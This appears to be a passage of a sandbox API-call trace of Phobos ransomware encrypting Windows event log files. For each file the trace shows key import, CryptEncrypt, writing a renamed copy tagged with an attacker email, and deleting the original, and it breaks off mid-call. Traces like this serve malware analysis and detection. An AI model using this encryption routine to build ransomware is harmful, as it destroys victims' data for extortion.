1 [0059.976] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0059.977] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0059.977] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.978] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0059.978] CloseHandle (hObject=0x328) returned 1 [0059.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0059.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.978] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.978] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.978] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.978] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.979] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc850) returned 1 [0059.979] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0059.979] ReadFile (in: hFile=0x328, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.005] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.005] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.006] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc8d0) returned 1 [0060.006] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.006] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0, dwBufLen=0xb0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0) returned 1 [0060.006] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0060.006] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x162, lpOverlapped=0x0) returned 1 [0060.007] CryptDestroyKey (hKey=0x10dc850) returned 1 [0060.007] CloseHandle (hObject=0x328) returned 1 [0060.007] CloseHandle (hObject=0x310) returned 1 [0060.008] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0060.013] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.013] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.019] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.019] CloseHandle (hObject=0x310) returned 1 [0060.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0060.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.024] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.024] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.024] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.024] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.024] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc810) returned 1 [0060.024] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.024] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.104] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.104] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.106] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dccd0) returned 1 [0060.106] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.106] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.106] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0060.106] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.106] CryptDestroyKey (hKey=0x10dc810) returned 1 [0060.106] CloseHandle (hObject=0x330) returned 1 [0060.106] CloseHandle (hObject=0x304) returned 1 [0060.108] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0060.109] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.109] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.109] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.109] CloseHandle (hObject=0x304) returned 1 [0060.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0060.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.109] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.110] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.110] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.110] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.113] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcc50) returned 1 [0060.113] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.113] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.132] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.133] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.134] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc890) returned 1 [0060.134] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.134] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.134] CryptDestroyKey (hKey=0x10dc890) returned 1 [0060.134] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.135] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0060.135] CloseHandle (hObject=0x304) returned 1 [0060.135] CloseHandle (hObject=0x300) returned 1 [0060.136] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0060.137] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.137] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.138] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.138] CloseHandle (hObject=0x300) returned 1 [0060.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0060.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.138] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.138] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.138] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.138] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.138] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc750) returned 1 [0060.138] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.138] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.151] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.151] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.153] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc790) returned 1 [0060.153] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.153] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.153] CryptDestroyKey (hKey=0x10dc790) returned 1 [0060.153] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.153] CryptDestroyKey (hKey=0x10dc750) returned 1 [0060.153] CloseHandle (hObject=0x300) returned 1 [0060.153] CloseHandle (hObject=0x304) returned 1 [0060.155] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0060.156] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.156] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.156] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.156] CloseHandle (hObject=0x304) returned 1 [0060.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0060.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.157] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.157] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.157] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.157] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.157] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc750) returned 1 [0060.157] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.157] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.218] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.218] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.220] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc850) returned 1 [0060.220] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.220] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.220] CryptDestroyKey (hKey=0x10dc850) returned 1 [0060.220] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.220] CryptDestroyKey (hKey=0x10dc750) returned 1 [0060.220] CloseHandle (hObject=0x304) returned 1 [0060.220] CloseHandle (hObject=0x300) returned 1 [0060.222] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0060.223] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.223] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.223] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.223] CloseHandle (hObject=0x300) returned 1 [0060.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0060.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.224] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.224] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.224] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.224] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.224] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcbd0) returned 1 [0060.224] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.224] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.294] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.294] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.296] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc610) returned 1 [0060.296] CryptSetKeyParam 